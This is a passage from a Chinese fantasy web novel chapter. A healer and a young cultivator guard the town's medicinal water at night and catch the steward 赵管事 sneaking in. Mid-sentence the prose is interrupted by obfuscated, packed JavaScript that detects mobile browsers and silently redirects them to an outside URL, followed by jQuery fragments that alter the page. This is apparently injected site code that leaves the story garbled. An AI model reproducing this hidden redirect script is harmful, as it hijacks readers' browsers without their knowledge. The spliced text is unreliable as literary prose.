殷老的准许就像是一剂强心针,在得到殷老的允许后,祝无忧便风风火火地开始他后面的验证之路。
他不仅去隔离区跑得更勤,连给病人送饭擦身这种事都亲力亲为。好在最终的结果也没有辜负他的努力,喝了他新药方的那几个病人,一个疗程之后果真身体都完全康复。
跟殷老同步这个结果后,殷老也相当高兴,两人花了两天时间盘点镇子药房的库存,并做出三天后在镇子里大规模使用新药方的决定。
时间一晃就过去两天,庄时雨边关月等人也加入帮祝无忧收集药材分拣药材的队伍。
边关月负责去后山收集药材,庄时雨则负责和祝无忧一起分拣药材。
在分拣的间隙,确认周边无人后,庄时雨小心地挪到祝无忧旁边。
“祝先生,你是不是早就找到了治疗疫病的方法,只是之前没有把握所以没有告诉我们?”她小心翼翼地问。
少女的眼睛里满是好奇和崇拜,祝无忧手中动作未停,谦虚回复道:“没有啦,只是碰巧发现了而已,庄姑娘和边道友也帮了很大的忙。”
庄时雨发自肺腑地夸奖:“您真的太谦虚了,我们那只是打打下手,哪里像您是真的凭本事吃饭!”
庄时雨这话说得是真心实意,经过这段时间的相处,她发现祝无忧真的是一个很好的大夫,不仅对患者十分尽心尽力,对自己的要求也十分的高。
不过庄时雨也没忘记自己在这里择芸回叶的真实原因,两眼望着天空,庄时雨叹了一口气。
“真希望是我分析错了。”
夜深,明月悬空,寂然无声。
更夫已经打了第三遍更,整个镇子都安静得非常。
庄时雨蜷缩在小小的厨房角落,灶台的影子刚好完全覆盖她的身影,在她的旁边,祝无忧也紧张地屏着气息。
他们对面摆着的就是准备明天给病人们用作药引的芸回水,两缸芸回水用完了村里所有的芸回叶库存,只要污染了它,短时间内即使是神仙也无法再变出新的药引。
而如果有人不想让疫病结束,今晚便是最好的机会。
庄时雨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759443|187715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
目光直直地盯着自己面前的两缸液体,唯恐有一丝疏漏,她的五感从来没如此灵敏,灵敏到屋顶猫咪踏过瓦砖的声音都听得一清二楚。
明天应当是个大晴天,屋外的月亮一刻也不曾被云彩遮盖。如水的月光洒照在地上,像是一片由牛奶组成的湖泊。
突然,从门外传来窸窸窣窣的布料摩擦的声音,庄时雨顿时紧张地瞪大眼睛。
那窸窣移动的声音越来越清晰,庄时雨甚至可以听到来人刻意放缓的呼吸声。
侧头跟祝无忧对视一眼,庄时雨从对方眼睛里看到了跟她一样的紧张。
在来人手扶上厨房木门的同时,少女不自觉地屏住呼吸。
“吱呀——”
木门开启,庄时雨立刻果断地弹出自己早已准备好的灵力箭,只听见“哎呦”一声,来人痛苦地跌倒在地,祝无忧也毫不客气地把木棍横在来人的脖子上。
“怎么是你?”祝无忧惊诧出声。
庄时雨好奇凑过去,等看清来人后,也大吃一惊。
“赵管事?”